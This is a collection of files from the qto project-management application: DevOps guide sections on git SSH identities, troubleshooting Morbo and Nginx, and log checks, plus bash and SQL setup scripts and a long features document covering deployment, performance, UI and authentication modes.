ISSUES MANAGEMENT By bulk issues management herewith is meant the bulk handling via sql to the issues items via the psql binary, which IS basically just moving data from table to table provided they have the same set of columns. ### 7.1. Dirs naming conventions The dir structure should be logical and a person navigating to a dir should almost understand what is to be find in thre by its name .. ### 7.2. Publish the release issues You publish the release issues by moving all the issues with '09-done' status to the release_issues table ## 8. NAMING CONVENTIONS ### 8.1. Naming conventions for directories The dir structure should be logical and a person navigating to a dir should almost understand what is to be find in thre by its name .. ### 8.2. Root Dirs naming conventions The root dirs and named as follows: bin - contains the produced binaries for the project cnf - for the configuration dat - for the data of the app lib - for any external libraries used src - for the source code of the actual projects and subprojects ## 9. SOURCE CODE MANAGEMENT The qto is a derivative of the wrapp tool - this means that development and deployment process must be integrated into a single pipeline. ### 9.1. Configure and use git ALWAYS by using ssh identities You probably have access to different corporate and public git repositories. Use your personal ssh identity file you use in GitHub to push to the qto project. The following code snippet demonstrates how you could preserve your existing git configurations ( even on corporate / intra boxes ) , but use ALWAYS the personal identity to push to the qto... # create the company identity file ssh-keygen -t rsa -b 4096 -C "<EMAIL>" # save private key to ~/.ssh/id_rsa.corp, cat ~/.ssh/id_rsa.corp.pub # copy paste this string into your corp web ui security ssh keys # create your private identify file ssh-keygen -t rsa -b 4096 -C "<EMAIL>" # save private key to ~/.ssh/id_rsa.me, note the public key ~/.ssh/id_rsa.me.pub cat ~/.ssh/id_rsa.me.pub # copy paste this one into your githubs, private keys # set alias for the git command to avoid overtyping ... alias git='GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa.ysg " git' # clone a repo git clone <EMAIL>:corp/project.git export git_msg="my commit msg with my corporate identity, explicitly provide author" git add --all ; git commit -m "$git_msg" --author "MeFirst MeLast <<EMAIL>>" git push # and verify clear ; git log --pretty --format='%h %ae %<(15)%an ::: %s ### 9.2. Aim for e2e traceability Aim for traceability between user-stories, requirements, features and functionalities Once the issues are defined and you start working on your own branch which is named by the issue-id aim to map one on one each test in your code with each listed requirement in qto. ### 9.3. Restart the application layer Well just chain the both commands. # start does actually re-start always bash src/bash/qto/qto.sh -a mojo-morbo-start ## 10. KNOWN ISSUES AND WORKAROUNDS ### 10.1. Morbo is stuck #### 10.1.1. Symptoms This one occurs quite often , especially when the application layer is restarted, but the server not # the error msg is [INFO ] 2018.09.14-10:23:14 EEST [qto][@host-name] [4426] running action :: mojo-morbo-start:doMojoMorboStart (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN 6034/qto tcp 0 0 0.0.0.0:3002 0.0.0.0:* LISTEN 7626/qto Can't create listen socket: Address already in use at /usr/local/share/perl/5.26.0/Mojo/IOLoop.pm line 130. [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN with: [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN: 0 0 # = STOP MAIN = qto qto-dev ysg@host-name [Fri Sep 14 10:23:16] [/vagrant/opt/csitea/qto/qto.0.4.9.dev.ysg] $ #### 10.1.2. Probable root cause This one occurs quite often , especially when the application layer is restarted, but the server not # the error msg is [INFO ] 2018.09.14-10:23:14 EEST [qto][@host-name] [4426] running action :: mojo-morbo-start:doMojoMorboStart (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN 6034/qto tcp 0 0 0.0.0.0:3002 0.0.0.0:* LISTEN 7626/qto Can't create listen socket: Address already in use at /usr/local/share/perl/5.26.0/Mojo/IOLoop.pm line 130. [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN with: [INFO ] 2018.09.14-10:23:16 EEST [qto][@host-name] [4426] STOP FOR qto RUN: 0 0 # = STOP MAIN = qto qto-dev ysg@host-name [Fri Sep 14 10:23:16] [/vagrant/opt/csitea/qto/qto.0.4.9.dev.ysg] $ #### 10.1.3. Known solution and workaround List the running perl processes which run the morbo and kill the instances ps -ef | grep -i perl # be carefull what to kill kill -9 <<proc-I-know-is-the-one-to-kill>> ### 10.2. Nginx presents http 502 The root cause of this error is not exactly known ... Just restart the via the hypnotoad restart shell action ... # in the dev tmux window !!! cd ~/opt/qto/[email protected] bash src/bash/qto/qto.sh -a mojo-hypnotoad-start & # restart # in the tst tmux window !!! cd ~/opt/qto/[email protected] bash src/bash/qto/qto.sh -a mojo-hypnotoad-start & # in the prd tmux window !!! cd ~/opt/qto/[email protected] bash src/bash/qto/qto.sh -a mojo-hypnotoad-start & # detach from the tmux session ## 11. LINUX SYSTEM ADMINISTRATION ### 11.1. Check open file descriptors To check qto opened file descriptors issue the following command: For further reading: https://www.cyberciti.biz/faq/linux-increase-the-maximum-number-of-open-files/ https://mojolicious.org/perldoc/Mojo/Server/Hypnotoad#WORKER-SIGNALS https://www.cyberciti.biz/tips/linux-procfs-file-descriptors.html while read -r p ; do lsof -a -p $p ; done < <(ps aux | grep perl|awk '{print $2}') | less ## 12. SECURITY ### 12.1. Check the login events on a qto instance To heck the login events on a qto instance issue the following command from the product instance dir. grep -nHi 'login ' dat/log/qto.2020.04* <file_sep># src/bash/qto/funcs/%act%.%deliverable_type%.sh # v1.0.9 # --------------------------------------------------------- # todo: add %full_func% comments ... # --------------------------------------------------------- %full_func%(){ do_log "DEBUG START %full_func%" cat doc/txt/qto/%deliverable_type%s/%act%.%deliverable_type%.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP %full_func%" } # eof func %full_func% # eof file: src/bash/qto/funcs/%act%.%deliverable_type%.sh <file_sep> do_chk_install_chromium_headless(){ which chromium-browser 2>/dev/null || { sudo apt-get update sudo apt-get install -y software-properties-common sudo apt-get install -y chromium-browser sudo apt-get update wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb sudo dpkg -i google-chrome-stable_current_amd64.deb apt --fix-broken install } } <file_sep> INSERT INTO app_items ( name , description) select tablename as name , tablename as description FROM pg_tables where 1=1 and schemaname='public' ORDER BY name ON CONFLICT (id) DO UPDATE SET guid = excluded.guid, id = excluded.id, prio = excluded.prio, name = excluded.name, description = excluded.description, update_time = excluded.update_time; <file_sep>#!/bin/bash do_run_qto_db_ddl(){ test -z "${PROJ_INSTANCE_DIR-}" && export PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' do_log "INFO using PROJ_INSTANCE_DIR: $PROJ_INSTANCE_DIR" ; do_log "INFO using PROJ_CONF_FILE: $PROJ_CONF_FILE" sleep 3; # 00 create the db tmp_log_file="$tmp_dir/.$$.log" pgsql_scripts_dir="$PRODUCT_DIR/src/sql/pgsql/qto" sql_script="$pgsql_scripts_dir/00.create-db.pgsql" PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -v -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -v ON_ERROR_STOP=1 \ -v postgres_app_db="${postgres_app_db:-}" \ -f "$sql_script" postgres > "$tmp_log_file" 2>&1 ret=$? cat "$tmp_log_file" ; cat "$tmp_log_file" >> $log_file # show it and save it test $ret -ne 0 && { sleep 3 ; do_exit 1 "pid: $$ psql ret $ret - failed to run sql_script: $sql_script !!!" ; break ; } doRunPgsqlScripts # 01 create / modify the app user sql_script="$pgsql_scripts_dir/01.create-qto-app-user.pgsql" #sql_script="$pgsql_scripts_dir/02.alter-qto-app-user.pgsql" PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -v ON_ERROR_STOP=1 \ -v postgres_app_usr="${postgres_app_usr:-}" \ -v postgres_app_usr_pw="${postgres_app_usr_pw:-}" \ -v postgres_app_db="${postgres_app_db:-}" \ -f "$sql_script" "${postgres_app_db:-}" > "$tmp_log_file" 2>&1 ret=$? cat "$tmp_log_file" ; cat "$tmp_log_file" >> $log_file # show it and save it test $ret -ne 0 && { sleep 3 ; do_exit 1 "pid: $$ psql ret $ret - failed to run sql_script: $sql_script !!!"; } PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -q -t -X -w -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -d postgres -v ON_ERROR_STOP=1 -c \ "GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO $postgres_app_usr; GRANT CONNECT ON DATABASE $postgres_app_db TO $postgres_app_usr; GRANT SELECT, UPDATE ON ALL SEQUENCES IN SCHEMA public TO $postgres_app_usr; GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO $postgres_app_usr;" } <file_sep># FEATURES AND FUNCTIONALITIES * [1. INTRO](#1-intro) * [1.1. PURPOSE](#11-purpose) * [1.2. AUDIENCE](#12-audience) * [1.3. RELATED DOCUMENTATION](#13-related-documentation) * [1.4. RELATED PROCESS AND WAY OF WORKING](#14-related-process-and-way-of-working) * [2. DEPLOYABILITY](#2-deployability) * [2.1. FULL DEPLOYMENT IN LESS THAN AN HOUR](#21-full-deployment-in-less-than-an-hour) * [2.2. EASY DOCKER BASED FULL DEPLOYMENT ( DEPRECATING )](#22-easy-docker-based-full-deployment-(-deprecating-)) * [2.2.1. New version deployment by simple unzip](#221-new-version-deployment-by-simple-unzip) * [2.2.2. Oneliner for prerequisite binaries check](#222-oneliner-for-prerequisite-binaries-check) * [2.2.3. Installation documentation](#223-installation-documentation) * [2.3. A FULL APPLICATION CLONE IN LESS THAN 5 MINUTES](#23-a-full-application-clone-in-less-than-5-minutes) * [2.3.1. Shell script for postgres db creation](#231-shell-script-for-postgres-db-creation) * [2.3.2. One liner for single restore and / or load](#232-one-liner-for-single-restore-and-/-or-load) * [3. USER-FRIENDLINESS](#3-user-friendliness) * [3.1. ONELINER SHELL CALLS](#31-oneliner-shell-calls) * [3.1.1. Database recreation and DDL scripts run one-liners](#311-database-recreation-and-ddl-scripts-run-one-liners) * [3.1.2. Testing one-liner call](#312-testing-one-liner-call) * [3.2. TABLES LOAD VIA A SINGLE ONE-LINER](#32-tables-load-via-a-single-one-liner) * [3.2.1. Test messages user](#321-test-messages-user) * [4. STABILITY AND RELIABILITY](#4-stability-and-reliability) * [4.1. ABSENCE OF APPLICATION CRASHING](#41-absence-of-application-crashing) * [4.2. DAILY BACKUPS](#42-daily-backups) * [4.3. LOGGING](#43-logging) * [4.4. FULL BACKUP TO THE CLOUD IN LESS THAN 5 MINUTES](#44-full-backup-to-the-cloud-in-less-than-5-minutes) * [4.5. STABILITY BASED ON ACTUAL RUNNING IN THE CLOUD SINCE 2019-01-01](#45-stability-based-on-actual-running-in-the-cloud-since-2019-01-01) * [5. SCALABILITY](#5-scalability) * [5.1. FEATURE SCALABILITY](#51-feature-scalability) * [5.2. MULTI-INSTANCE SCALABILITY](#52-multi-instance-scalability) * [5.3. DOCUMENTATION GENERATION AND DATA EXPORT](#53-documentation-generation-and-data-export) * [5.4. PROJECTS DATABASES SCALABILITY](#54-projects-databases-scalability) * [6. PERFORMANCE](#6-performance) * [6.1. PAGE LOAD TIMES](#61-page-load-times) * [6.1.1. Page load times](#611-page-load-times) * [6.1.2. Server requirements for performance](#612-server-requirements-for-performance) * [6.1.3. Performance on mobile devices ](#613-performance-on-mobile-devices-) * [6.1.4. Loaded pages controls performance](#614-loaded-pages-controls-performance) * [6.2. AJAX CALLS TO BACK-END](#62-ajax-calls-to-back-end) * [6.2.1. Metadata caching via Redis](#621-metadata-caching-via-redis) * [6.2.2. Foreign Key data for Drop Down controls caching](#622-foreign-key-data-for-drop-down-controls-caching) * [6.3. LOGIN, LOGOUT](#63-login-logout) * [6.4. CRUDS OPERATIONS](#64-cruds-operations) * [7. DEPLOYABILITY](#7-deployability) * [7.1. NEW HOSTS BINARY PROVISIONING](#71-new-hosts-binary-provisioning) * [7.2. ONELINER FOR VERSION CHANGE ON PROVISIONED HOST](#72-oneliner-for-version-change-on-provisioned-host) * [7.3. ONELINER FOR ENVIRONMENT CHANGE](#73-oneliner-for-environment-change) * [8. WEB USER INTERFACE FEATURES AND FUNCTIONALITIES](#8-web-user-interface-features-and-functionalities) * [8.1. SINGLE CODE BASE FOR ALL DEVICE FORMATS](#81-single-code-base-for-all-device-formats) * [8.2. GLOBAL UI ELEMENTS FOR ALL THE PAGES](#82-global-ui-elements-for-all-the-pages) * [8.2.1. The global and quick search textbox - the omnibox](#821-the-global-and-quick-search-textbox--the-omnibox) * [8.2.2. The Left Menu](#822-the-left-menu) * [8.3. LIST AND LIST-MY PAGE FEATURES AND FUNCTIONALITIES](#83-list-and-list-my-page-features-and-functionalities) * [8.3.1. List page performance](#831-list-page-performance) * [8.3.2. Navigating the list page](#832-navigating-the-list-page) * [8.3.3. Filtering the result set from a single item](#833-filtering-the-result-set-from-a-single-item) * [8.3.3.1. Filtering the result with the "with" url parameter](#8331-filtering-the-result-with-the-"with"-url-parameter) * [8.3.3.2. Filtering the result with the "like-by" and "like-val" url parameters](#8332-filtering-the-result-with-the-"like-by"-and-"like-val"-url-parameters) * [8.3.4. Managing items - full CRUD](#834-managing-items--full-crud) * [8.3.5. Managing FK values](#835-managing-fk-values) * [8.3.5.1. CRUD via the smart grid](#8351-crud-via-the-smart-grid) * [8.3.5.2. CRUD via the generic edit form](#8352-crud-via-the-generic-edit-form) * [8.3.6. Quick search and filtering items](#836-quick-search-and-filtering-items) * [8.3.7. Global text search from the view page](#837-global-text-search-from-the-view-page) * [8.3.7.1. Visual indication for ok cases](#8371-visual-indication-for-ok-cases) * [8.3.8. Visual indication](#838-visual-indication) * [8.3.8.1. Visual indication when no data is received on correct request](#8381-visual-indication-when-no-data-is-received-on-correct-request) * [8.3.8.2. Visual indication on erroneous requests](#8382-visual-indication-on-erroneous-requests) * [8.3.9. Items interlinking](#839-items-interlinking) * [8.3.10. Print to pdf](#8310-print-to-pdf) * [8.4. VIEW PAGE FEATURES](#84-view-page-features) * [8.4.1. Viewing documents](#841-viewing-documents) * [8.4.1.1. OK load for a view doc page](#8411-ok-load-for-a-view-doc-page) * [8.4.1.2. NOK load for view doc page](#8412-nok-load-for-view-doc-page) * [8.4.1.3. NOK load for a view doc page](#8413-nok-load-for-a-view-doc-page) * [8.4.2. Managing items ( beta )](#842--managing-items-(-beta-)) * [8.4.2.1. Add an item in the doc view page UI ( beta)](#8421-add-an-item-in-the-doc-view-page-ui-(-beta)) * [8.4.2.2. Update item ( gamma )](#8422-update-item-(-gamma-)) * [8.4.2.3. Delete item ( gamma )](#8423-delete-item-(-gamma-)) * [8.4.3. Printing view doc documents](#843-printing-view-doc-documents) * [9. SECURITY](#9-security) * [9.1. AUTHENTICATION](#91-authentication) * [9.1.1. Non-athentication mode](#911-non-athentication-mode) * [9.1.2. Simple native authentication mode](#912-simple-native-authentication-mode) * [9.2. AUTHORISATION](#92-authorisation) * [9.2.1. Roles based access control list](#921-roles-based-access-control-list) * [10. DOCUMENTATION](#10-documentation) * [10.1. DOCUMENTATION SET](#101-documentation-set) * [10.2. DOCUMENTATION FORMATS](#102-documentation-formats) * [10.3. DOCUMENTATION AND CODE BASE SYNCHRONIZATION](#103-documentation-and-code-base-synchronization) ## 1. INTRO ### 1.1. Purpose The purpose of this document is to present the features and functionalities set to the qto application for this current version. ### 1.2. Audience This document could be of interest for any potential and actual users of the application. Developers and Architects working on the application MUST read and understand this document at least to the extend of their own contribution for it. ### 1.3. Related documentation This document is part of the qto application documentation-set, which contains the following documents: - readme - the initial readme file of the project - enduser_guide_doc - the end users guide - mostly ui usage and concepts - concepts_doc - contains the concepts of the application - userstories_doc - the collection of userstories used to describe "what is desired" - system_guide_doc - architecture and System description - devops_guide_doc - a guide for the developers and devops operators - installation_guide_doc - a guide for installation of the application - features_doc - description of the current features and functionalities - requirements_doc - description of the Requirements for the application All the documents are updated and redistributed in combination of the current version of the application and could be found under the following directories: doc/md doc/pdf according to the file format used for the documentation storage. ### 1.4. Related process and way of working Read this document carefully - it IS the contract between you AND the qto instance of your instance, such there be any inconsistencies between the promised features and functionalities in this document and the ACTUAL behaviour of your instance create an issue to the instance owner, describing clearly what the inconsistencies are. If you are the instance owner, and the issue has clearly arisen from the source code of qto instance you derived your instance from create an issue to the source qto instance owner into his/her own qto instance. ## 2. DEPLOYABILITY The qto is easily deployable on any Unix like OS. Windows family based OS'es are explicitly out of the scope of the qto tool. Any qto instance should be configurable as easily as possible for the version it has. ### 2.1. Full deployment in less than an hour The full System is ready for use in a "blank" Unix-like OS host in less than an hour. The installations instructions are done for Ubuntu 18.04 LTS, yet should you feel confortable with other Linux distros or even BSD Unix you should be able to complete it in less than 2 hours. ### 2.2. Easy docker based full deployment ( deprecating ) This feature is being deprecated ... yet you could quickly re-implement it by changing the Dockerfiles versions .. By following the installation instructions in the installations_doc you can deploy on any docker running Unix-like OS the qto application running on a docker and Ubuntu 18.04 LTS with initially loaded database and data. #### 2.2.1. New version deployment by simple unzip The qto tool could be deployed by a simply unzip of the full package, which must have all of the documentation and scripts to provide assistance for the setup and the configuration of the tool. #### 2.2.2. Oneliner for prerequisite binaries check All the binaries which are required for the running of the tool must be checked by a user-friendly binaries prerequisites check script #### 2.2.3. Installation documentation The installation of the required mysql and postgres db must be documented in the DevOps guide, which should have both markdown and pdf versions in the doc directory of the deployment package. ### 2.3. A full application clone in less than 5 minutes A DevOps operator is able to perform an application clone of the qto application in less than 5 minutes. #### 2.3.1. Shell script for postgres db creation The creation of the postgres database is doable via a single shell call. #### 2.3.2. One liner for single restore and / or load A qto db clone can be loaded via a single oneliner. ## 3. USER-FRIENDLINESS The interaction with each endpoint and interface of an application instance is implemented to be as user-friendly as possible. As abstract as it may sound the tool is multi-dimensionally and vertically integrated regarding the questions what, how and why towards a new person interacting with the tool by the usage of code comments, links from the documentations and uuids to be used for simple grepping from the docs till the source code. ### 3.1. Oneliner shell calls The interaction of the application on the shell should be designed and implemented so that most of the features and bigger entry points should be accessible via one-liners on the shell - for example the testers should be able to lunch all the unit-tests via a single one line call. The integration tests should be triggerable via single oneline call. #### 3.1.1. Database recreation and DDL scripts run one-liners The developers should be able to create the database via a single oneline call #### 3.1.2. Testing one-liner call The testers and the developers is able to trigger all the unit or integration tests via a single one-line call. ### 3.2. Tables load via a single one-liner The developers should be able to load one or many tables to the database via a single oneline call. #### 3.2.1. Test messages user Each test obeys the following convention: - short message as descriptive within the context as possible - what is being tested - a short technical example of the generated entry being tested ( for example a dynamic url ) - a uuid to search for from the Feature document what exactly is being tested within the context of the features description. ## 4. STABILITY AND RELIABILITY ### 4.1. Absence of application crashing Qto is a vertically integrated application - from the OS till the client side libraries, which has been designed from the ground up to have stable architecture component wise and to rely on the best frameworks (Mojolicious, VueJS), libraries and tools out there, without creating too much interdependencies, thus the qto crashes experienced during the last years of operation have been extremely rare. ### 4.2. Daily backups Daily backups are taken after the first shell action, run for the day, the daily backups oneliner could be scheduled via crontab as well. ### 4.3. Logging The application supports fully configurable audit logging to both console ( STDOUT, STDERR ) and file. ### 4.4. Full backup to the cloud in less than 5 minutes A full backup for the data for the qto and/or another project database is doable in less than 5 minutes. ### 4.5. Stability based on actual running in the cloud since 2019-01-01 The main qto application instance has been up-and-running since the beginning of 2019 with receiving new versions in an average of 2 weeks per sprint. ## 5. SCALABILITY ### 5.1. Feature scalability The addition of new features is scalable, as almost all of the components have been implemented according to the SOLID principle. ### 5.2. Multi-instance scalability You can operated multiple versions of the qto on the same host, which will not interrupt each other because of the configurability of the application. ### 5.3. Documentation generation and data export Single shell actions exist for : - configurable pdf documentation generation - configurable mdf documentation generation - configurable microsoft docx documentation generation - configurable xls tables export ### 5.4. Projects databases scalability Each instance of the qto application can connect via tcp to multiple postgres databases running on the same db host configured in the instance configuration file. ## 6. PERFORMANCE ### 6.1. Page load times Although the qto has not been explicitly designed for mobile devices the page load times on higher end phones on 4G networks are comparable with the upper 20% of the pages in the web, while running both the application layer and the db on a single aws instance based in Ireland ... #### 6.1.1. Page load times The qto has been operated on quite modest hardware ( check the second cheapest amazon ec2 instances for reference ), yet the page load times vary from 0.3 till 0.6 seconds for the smaller pages and up till 1.5 seconds for the pages having more than 2000 items ... List pages with 7-10 items load in 0.3-0.35 seconds. View Pages with one image and less than 7 pages load in 0.3-0.45 seconds, View pages with 20 pages might take up till 0.8 seconds to load. #### 6.1.2. Server requirements for performance The qto has been operated on quite modest hardware ( check the second cheapest amazon ec2 instances for reference ), yet the performance of the application has been amazingly good, considered that both the application server and the databases are deployed on the ec2 instance. #### 6.1.3. Performance on mobile devices Qto is NOT explicitly optimised for mobile use ( how old fashioned is that ?!), yet it has been from the ground-up designed in way allowing this optimisation to occur at a later point of time of the development of the application. #### 6.1.4. Loaded pages controls performance Once a page is loaded, more than 99% of the time the controls response quickly and effortlessly on different keyboard or mouse events. ### 6.2. Ajax calls to back-end Each back-end update from the UI takes no longer than 0.2 s. in a non-stressed qto instance, thus the look and feel of an qto instance is more like a desktop app and less like web app. #### 6.2.1. Metadata caching via Redis All the meta data of the application during each request is fetched from Redis ( and can be reload into Redis by loading the app_items or the app_item_attributes item in the browser) #### 6.2.2. Foreign Key data for Drop Down controls caching The drop down controls which fetch the human readable data with the foreign keys of a normalised item table is cached to the localStorage. The localStorage is cleared once the users access the login page. Thus a qto DevOps engineer could both easily modilfy the data for the dropdowns ( for example different statuses and their codes without having to restart the whole application layer), but the users get a faster and non-blinking list page loads once they have loaded the list page with the specific cached dropdowns data once. ### 6.3. Login, Logout Every login and logout operation completes in less than 0.3 seconds in modern network environments. ### 6.4. CRUDs operations The Create, Update, Delete and Search operations with their respective roundtrips are 99% of the times extremely fast - less than 0.1. ## 7. DEPLOYABILITY ### 7.1. New hosts binary provisioning You can spawn new instances in the cloud from a client having the src code and needed terraform binary ### 7.2. Oneliner for version change on provisioned host You could create a new instance of the qto having different version ( which becomes automatically a dev environment ) by issuing the following command: bash src/bash/qto/qto.sh -a to-ver=0.8.2 ### 7.3. Oneliner for environment change You could change the environment type of your current instance by issuing the following command: bash src/bash/qto/qto.sh -a to-env=tst ## 8. WEB USER INTERFACE FEATURES AND FUNCTIONALITIES ### 8.1. Single code base for all device formats Although qto has not been explicitly designed for mobile phones and / or tablets it renders well on both high end mobile phones, and tablets over 4G networks. ### 8.2. Global UI elements for all the pages The global UI elements are accessible from each page #### 8.2.1. The global and quick search textbox - the omnibox The users can quick filter the content of any page - lists ( including the drop downs chosen values), reports and view docs by just typing strings to filter by in the omnibox in the top bar WITHOUT hitting enter or clicking on the search button. After hitting enter or clicking on the search button the application performs global search from the project database and redirects to the search page with the actual result set from the search. Most of the pages are done so that hitting the back button on the browser goes directly to the previous view. A global keyboard shortcut - the "/" forward slash can be used to focus the omnibox from any non editable control on the page. #### 8.2.2. The Left Menu The left menu is accessible from all the pages. The users can navigate from a folders tree like structure from the left menu to different pages in the application. The left menu contains information on the current instance of the application and a logout button, which clears out the user session data ( both session and local storage data). ### 8.3. List and list-my page features and functionalities The list page is simply a slice/subset of the data from ANY postgres table filtered on any criteria defined in the url of the browser. The list-my route works exactly as the list page except for the fact that the retrieved subset is restricted to the data of a table, which is assigned to the currently logged in user by means of a foreign key to the app_users table. An example url of a list page : https://qto.fi/qto/list/yearly_issues_2020?&oa=prio&pg-size=5 An example url of a list-my page: https://qto.fi/qto/list-my/yearly_issues_2020?&oa=prio&pg-size=5 #### 8.3.1. List page performance The full execution time of any crud operation ( create, update, delete, search) from the end-user of the UI point of view is less than 0.5 seconds usually right around 0.4 s for faster servers. Dropdown controls' data is cached in the browsers' local storage thus ones a page is accessed during an user session ( as the storage is cleared during login ), the next retrieval of their data is about 0.90-0.12 seconds faster - and their rendering is not actually noticeable. #### 8.3.2. Navigating the list page After the load of the list page the user can quickly cycle trough all the element of the page with the tab key on the keyboard. Focus on the search #### 8.3.3. Filtering the result set from a single item The qto list page uses a SQL like syntax to translate the url parameters of the list page ##### 8.3.3.1. Filtering the result with the "with" url parameter The naming conventions is as follows: with=&lt;&lt;attribute-name&gt;&gt;-&lt;&lt;operator&gt;&gt;-&lt;&lt;value&gt; For example: https://qto.fi:442/qto/list/ideas?&with=owner-eq-jrs This translates into "where &lt;&lt;attribute-name&gt;&gt; = '&lt;&lt;attribute-value&gt;&gt;' in the sql query to the database. ##### 8.3.3.2. Filtering the result with the "like-by" and "like-val" url parameters The naming conventions is as follows: with=&lt;&lt;attribute-name&gt;&gt;-&lt;&lt;operator&gt;&gt;-&lt;&lt;value&gt; For example: https://qto.fi:442/qto/list/ideas?&with=owner-eq-jrs #### 8.3.4. Managing items - full CRUD The System provides the needed UI interfaces to Create , Update , Delete and Search items in the database. DateDate values could be presented with calendar controls. #### 8.3.5. Managing FK values The Foreign key values could be managed via drop box ui controls. For now the fetch is performed on the "name" attribute from the PK table, based on &lt;&lt;pk_table&gt;&gt;_guid naming convention in the FK column of the items. ##### 8.3.5.1. CRUD via the smart grid The Create, Update, Delete operations could be performed by simply typing the new values in the smart grid - or picking the values for the drop downs or the calendar controls. ##### 8.3.5.2. CRUD via the generic edit form The Create, Update, Delete operations could be performed by clicking in the edit button of the smart grid and editing the text in the modal dialog form. #### 8.3.6. Quick search and filtering items The user can quickly filter the items from the presented listing by typing in the omnisearch box ... The System will shrink the table so that only the rows having the string in the search omnibox will be presented. Once the string is deleted from the search omnibox the table data is restored to its original state. #### 8.3.7. Global text search from the view page The user can initiate a global text search from the view page, by simply typing on the global search text box and hitting enter or clicking on the global search button. Should the search yield results they will be displayed in the search page, thus the user could quickly return back in the exact same spot of the document by clicking the back button. ##### 8.3.7.1. Visual indication for ok cases In the ok cases no msgs are presented, but just the requested data shown. #### 8.3.8. Visual indication The Systems does not present any ok messages for the operation of the list page, only errors are presented clearly on the top of the page ( for example when one tries to update a string value into a cell with column accepting only integer values ... ) ##### 8.3.8.1. Visual indication when no data is received on correct request Should the request in terms of url parameters be correct a warning msg at the bottom of the page in grey colour is presented ##### 8.3.8.2. Visual indication on erroneous requests Should the request be erroneous - un existing, tables , columns , ds , wrong syntax etc. an error of the top of the page is presented and the full technical error is displayed at the bottom of the page. #### 8.3.9. Items interlinking The users can link to any items by simply typing &lt;&lt;item&gt;&gt;-&lt;&lt;id&gt;&gt; in the description. For example requirements_doc-4 #### 8.3.10. Print to pdf You can print any of the queries from the list page by adding / changing the as url parameter from as=grid to as=print-table. Use the browser print to pdf feature to save the listing page into a pdf file. ### 8.4. View page features #### 8.4.1. Viewing documents The "view doc" page presents a single "doc" table from any qto db instance having the nested set api in it. The nested set api means simply that the table has the additional attributes needed for the data to be presented in hierarchical format aka the view doc format, which is the format of this type of document you are reading right now. ##### 8.4.1.1. OK load for a view doc page Should a proper url format by requested from the browser a simple view doc page is presented with no msgs - the left menu will present the meta data of the project menu and the right menu will present the structure of the document. ##### 8.4.1.2. NOK load for view doc page Should the user request an un existing view doc page and error snackbar pop-up message appears on the top of the page. The error message can be pinned for easier copy paste or snapshot taking ##### 8.4.1.3. NOK load for a view doc page Should the browser request a non-existing table or erroneous url parameters from the application layer the system will present the error in a snackbar at the top of the page. The snackbar can be freezed by clicking on the top right corner of it. #### 8.4.2. Managing items ( beta ) The Qto application provides the needed UI interfaces to Create , Update , Delete items in the view documents UI for the users having the privileges for those actions. This feature is in beta mode as it certain rare cases it might not work as expected ( and those are recognised as separate issues and being worked out ). The easiest way to work around in case of a bug is found is to reload the whole page. ##### 8.4.2.1. Add an item in the doc view page UI ( beta) Users with the write privileges for the document can add an item in the doc view page just by right-clicking on the title and selecting one of the 3 options: - add sibling node - add an item which is on the same level in the hierarchy - add parent node - add an item which is on 1 level up in the hierarchy - add child node - add and item which is on 1 level below in the hierarchy The new item appears straight after the origin title it was requested from. This feature is in beta mode as it certain rare cases it might not work as expected ( and those are recognised as separate issues and being worked out ). The easiest way to work around in case of a bug is found is to reload the whole page. ##### 8.4.2.2. Update item ( gamma ) You can: - update item title content - update item description - update item src code if visible ( you can make it visible by adding any non space content to it in the list page by right-clicking the item number and choosing open in list ) This feature is in gamma mode as it certain rare cases it might not work as expected ( and those are recognised as separate issues and being worked out ). The easiest way to work around in case of a bug is found is to reload the whole page. ##### 8.4.2.3. Delete item ( gamma ) You can right-click on an item and choose the remove node from the right-click men. This feature is in gamma mode as it certain rare cases it might not work as expected ( and those are recognised as separate issues and being worked out ). The easiest way to work around in case of a bug is found is to reload the whole page. #### 8.4.3. Printing view doc documents You can print ANY branch including the whole documents by right-clicking the branch or node and choosing "print-preview" and than use the browser's print functionality. ## 9. SECURITY ### 9.1. Authentication The qto application supports the following 2 modes of security: - non authentication mode - simple native authentication mode #### 9.1.1. Non-athentication mode Any qto instance supports a non-authentication mode - that is all users having http access could perform all the actions on the UI without restrictions #### 9.1.2. Simple native authentication mode A qto instance running under the simple native authentication mode stores the user credentials in the instance db. The passwords are encrypted via the using the Blowfish-based Unix crypt() hash function, known as "bcrypt" encrypting mechanism. ### 9.2. Authorisation Only the SysAdmin of the System can add basic authentication and simple native mode users, thus regular users can see only their own credentials. #### 9.2.1. Roles based access control list The qto application has a centralised app_roles based access control list accessible from the following url: &lt;&lt;proj-db&gt;&gt;/list/app_items_roles_permissions. This list will define who ( which app_roles ) , can or cannot do what and why - the description field. The actual application of this Access Control List has NOT been yet implemented ... ## 10. DOCUMENTATION ### 10.1. Documentation set Each running instance has the following documentation set : - ReadMe - Features and Functionalities doc - End User Guide - DevOps Guide - SystemGuide - UserStories document - Installation and Configuration Guide In both "native qto format" and md file format in the doc/md directory of the project. ### 10.2. Documentation formats The qto documentation is available in both md and pdf 